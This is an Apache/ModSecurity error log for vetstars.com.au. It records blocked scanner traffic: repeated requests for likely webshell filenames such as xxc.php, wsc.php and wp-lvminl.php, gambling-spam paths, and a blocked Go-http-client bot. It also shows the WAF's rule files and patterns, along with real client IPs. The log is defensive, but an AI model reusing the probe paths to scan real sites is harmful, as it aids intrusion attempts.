[Sat Apr 04 20:55:22.705375 2026] [:error] [pid 2459:tid 2545] [client 51.75.119.75:49250] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adEKOgefyCmu4LR_Plob-AAAAI0"]
[Sat Apr 04 20:55:24.604882 2026] [:error] [pid 2459:tid 2543] [client 51.75.119.75:58000] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adEKPAefyCmu4LR_PlocAQAAAIs"]
[Sat Apr 04 20:55:25.381843 2026] [:error] [pid 2459:tid 2534] [client 51.75.119.75:58004] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adEKPQefyCmu4LR_PlocBAAAAIM"]
[Sat Apr 04 20:55:27.166951 2026] [:error] [pid 2458:tid 2519] [client 51.75.119.75:58006] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adEKPyNozic5SuWqclkeugAAAE8"]
[Sat Apr 04 20:55:27.736169 2026] [:error] [pid 2459:tid 2535] [client 51.75.119.75:58022] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adEKPwefyCmu4LR_PlocDwAAAIQ"]
[Sat Apr 04 20:55:29.707898 2026] [:error] [pid 2459:tid 2553] [client 51.75.119.75:58038] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adEKQQefyCmu4LR_PlocFwAAAJU"]
[Sat Apr 04 20:55:30.247809 2026] [:error] [pid 37114:tid 37119] [client 51.75.119.75:58048] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adEKQs-DnSj3fGMexeJAMAAAAQM"]
[Sat Apr 04 20:55:32.069834 2026] [:error] [pid 2459:tid 2549] [client 51.75.119.75:58064] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adEKRAefyCmu4LR_PlocIAAAAJE"]
[Sat Apr 04 20:55:32.509835 2026] [:error] [pid 2459:tid 2544] [client 51.75.119.75:58070] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adEKRAefyCmu4LR_PlocJAAAAIw"]
[Sat Apr 04 21:24:09.121052 2026] [:error] [pid 2459:tid 2556] [client 49.7.227.204:53150] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adEQ-QefyCmu4LR_PlovFgAAAJg"]
[Sat Apr 04 22:23:35.304331 2026] [:error] [pid 37114:tid 37117] [client 43.157.20.63:55650] [client 43.157.20.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adEe58-DnSj3fGMexeJUPQAAAQE"]
[Sun Apr 05 02:35:56.798881 2026] [:error] [pid 53819:tid 53896] [client 209.87.169.102:24889] [client 209.87.169.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "adFaDGkolvq4mv6siDMBkAAAABc"]
[Sun Apr 05 02:54:19.793490 2026] [:error] [pid 53820:tid 53923] [client 162.62.132.25:48900] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adFeWzKzpMZSi9FOeIY0HgAAAFY"]
[Sun Apr 05 04:14:42.374539 2026] [:error] [pid 45305:tid 45389] [client 182.42.105.85:56392] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adFxMujDQjr7aWhjflDHvgAAAJI"]
[Sun Apr 05 06:29:10.092858 2026] [:error] [pid 45305:tid 45373] [client 217.216.37.55:57328] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adGQtujDQjr7aWhjflA4IAAAAII"]
[Sun Apr 05 06:29:10.309432 2026] [:error] [pid 45409:tid 45418] [client 217.216.37.55:49681] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "adGQttHt_Oyw03gjCNjlQgAAAMc"]
[Sun Apr 05 06:29:10.520439 2026] [:error] [pid 30921:tid 30933] [client 217.216.37.55:50915] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/media/system/js/core.js"] [unique_id "adGQtmFGQVn8Q0ueB26AlQAAAQo"]
[Sun Apr 05 10:20:41.670031 2026] [:error] [pid 45304:tid 45354] [client 74.248.146.253:46866] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxc.php"] [unique_id "adHG-Q5jnqDKKovdRklP2gAAAEo"]
[Sun Apr 05 10:20:43.507643 2026] [:error] [pid 45303:tid 45323] [client 74.248.146.253:46260] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxc.php"] [unique_id "adHG-7boQ9eViZ4hdnnbTgAAAAY"]
[Sun Apr 05 10:20:54.709681 2026] [:error] [pid 45304:tid 45364] [client 74.248.146.253:34150] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxc.php"] [unique_id "adHHBg5jnqDKKovdRklP5wAAAFQ"]
[Sun Apr 05 10:21:02.071138 2026] [:error] [pid 45303:tid 45339] [client 74.248.146.253:34235] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Jcrop.php"] [unique_id "adHHDrboQ9eViZ4hdnnbbwAAABY"]
[Sun Apr 05 10:21:13.653987 2026] [:error] [pid 45305:tid 45389] [client 74.248.146.253:46882] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Jcrop.php"] [unique_id "adHHGejDQjr7aWhjflDq_AAAAJI"]
[Sun Apr 05 10:21:14.972768 2026] [:error] [pid 45304:tid 45368] [client 74.248.146.253:46246] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Jcrop.php"] [unique_id "adHHGg5jnqDKKovdRklQCgAAAFg"]
[Sun Apr 05 10:21:16.190687 2026] [:error] [pid 45303:tid 45340] [client 74.248.146.253:34136] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "adHHHLboQ9eViZ4hdnnbeAAAABc"]
[Sun Apr 05 10:21:17.697006 2026] [:error] [pid 45305:tid 45385] [client 74.248.146.253:56980] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "adHHHejDQjr7aWhjflDrCAAAAI4"]
[Sun Apr 05 10:21:23.028621 2026] [:error] [pid 45304:tid 45358] [client 74.248.146.253:20705] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "adHHIw5jnqDKKovdRklQIgAAAE4"]
[Sun Apr 05 10:21:25.797281 2026] [:error] [pid 30921:tid 30946] [client 74.248.146.253:10858] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "adHHJWFGQVn8Q0ueB27cmQAAARc"]
[Sun Apr 05 10:21:26.977288 2026] [:error] [pid 45303:tid 45336] [client 74.248.146.253:56969] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55l453.php"] [unique_id "adHHJrboQ9eViZ4hdnnbjQAAABM"]
[Sun Apr 05 10:21:28.439684 2026] [:error] [pid 45409:tid 45435] [client 74.248.146.253:20678] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55l453.php"] [unique_id "adHHKNHt_Oyw03gjCNhjNAAAANg"]
[Sun Apr 05 10:21:29.962199 2026] [:error] [pid 45303:tid 45337] [client 74.248.146.253:34142] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55l453.php"] [unique_id "adHHKbboQ9eViZ4hdnnbkAAAABQ"]
[Sun Apr 05 10:21:30.932844 2026] [:error] [pid 30921:tid 30944] [client 74.248.146.253:36565] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55l453.php"] [unique_id "adHHKmFGQVn8Q0ueB27csQAAARU"]
[Sun Apr 05 10:21:32.026794 2026] [:error] [pid 30921:tid 30932] [client 74.248.146.253:34124] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "adHHLGFGQVn8Q0ueB27ctQAAAQk"]
[Sun Apr 05 10:21:32.979127 2026] [:error] [pid 45409:tid 45434] [client 74.248.146.253:36557] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "adHHLNHt_Oyw03gjCNhjVAAAANc"]
[Sun Apr 05 10:21:34.127207 2026] [:error] [pid 45305:tid 45384] [client 74.248.146.253:10836] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "adHHLujDQjr7aWhjflDrMQAAAI0"]
[Sun Apr 05 10:21:34.909436 2026] [:error] [pid 45409:tid 45427] [client 74.248.146.253:10850] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "adHHLtHt_Oyw03gjCNhjZQAAANA"]
[Sun Apr 05 10:21:36.225481 2026] [:error] [pid 45409:tid 45431] [client 74.248.146.253:34212] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkyac.php"] [unique_id "adHHMNHt_Oyw03gjCNhjbQAAANQ"]
[Sun Apr 05 10:21:37.218461 2026] [:error] [pid 45304:tid 45362] [client 74.248.146.253:10852] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkyac.php"] [unique_id "adHHMQ5jnqDKKovdRklQWQAAAFI"]
[Sun Apr 05 10:21:38.965774 2026] [:error] [pid 45303:tid 45324] [client 74.248.146.253:56973] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkyac.php"] [unique_id "adHHMrboQ9eViZ4hdnnbmgAAAAc"]
[Sun Apr 05 10:22:13.101955 2026] [:error] [pid 45409:tid 45429] [client 74.248.146.253:57008] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsc.php"] [unique_id "adHHVdHt_Oyw03gjCNhjzgAAANI"]
[Sun Apr 05 10:22:16.166637 2026] [:error] [pid 45305:tid 45392] [client 74.248.146.253:46214] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsc.php"] [unique_id "adHHWOjDQjr7aWhjflDrtAAAAJU"]
[Sun Apr 05 10:22:19.536412 2026] [:error] [pid 45409:tid 45428] [client 74.248.146.253:46873] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsc.php"] [unique_id "adHHW9Ht_Oyw03gjCNhj3gAAANE"]
[Sun Apr 05 10:22:36.005471 2026] [:error] [pid 30921:tid 30929] [client 74.248.146.253:46902] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-lvminl.php"] [unique_id "adHHbGFGQVn8Q0ueB27dRgAAAQY"]
[Sun Apr 05 10:22:41.589830 2026] [:error] [pid 45409:tid 45426] [client 74.248.146.253:57018] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-lvminl.php"] [unique_id "adHHcdHt_Oyw03gjCNhkGgAAAM8"]
[Sun Apr 05 10:22:54.807549 2026] [:error] [pid 45303:tid 45339] [client 74.248.146.253:46256] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adHHfrboQ9eViZ4hdnncaQAAABY"]
[Sun Apr 05 10:22:57.480161 2026] [:error] [pid 30921:tid 30941] [client 74.248.146.253:36560] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adHHgWFGQVn8Q0ueB27degAAARI"]
[Sun Apr 05 10:23:00.235897 2026] [:error] [pid 45303:tid 45323] [client 74.248.146.253:46221] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adHHhLboQ9eViZ4hdnncfQAAAAY"]
[Sun Apr 05 10:23:03.185371 2026] [:error] [pid 45303:tid 45325] [client 74.248.146.253:46854] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adHHh7boQ9eViZ4hdnncggAAAAg"]
[Sun Apr 05 10:23:08.778367 2026] [:error] [pid 30921:tid 30936] [client 74.248.146.253:34152] [client 74.248.146.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dczem.php"] [unique_id "adHHjGFGQVn8Q0ueB27dkQAAAQ0"]
[Sun Apr 05 11:02:36.300702 2026] [ssl:error] [pid 45304:tid 45368] [client 15.204.183.221:54892] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Sun Apr 05 11:59:33.275435 2026] [ssl:error] [pid 45305:tid 45388] [client 15.204.183.221:12052] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Sun Apr 05 14:39:45.777991 2026] [:error] [pid 45305:tid 45383] [client 51.68.34.57:51680] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adIDsejDQjr7aWhjflCw3AAAAIw"]
[Sun Apr 05 14:39:48.195719 2026] [:error] [pid 45409:tid 45429] [client 51.68.34.57:56930] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adIDtNHt_Oyw03gjCNgFNgAAANI"]
[Sun Apr 05 14:39:50.858299 2026] [:error] [pid 45305:tid 45394] [client 51.68.34.57:56940] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adIDtujDQjr7aWhjflCw6QAAAJc"]
[Sun Apr 05 14:39:53.319385 2026] [:error] [pid 45305:tid 45390] [client 51.68.34.57:54404] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adIDuejDQjr7aWhjflCw8wAAAJM"]
[Sun Apr 05 14:39:55.750675 2026] [:error] [pid 45304:tid 45362] [client 51.68.34.57:54412] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adIDuw5jnqDKKovdRkmfZQAAAFI"]
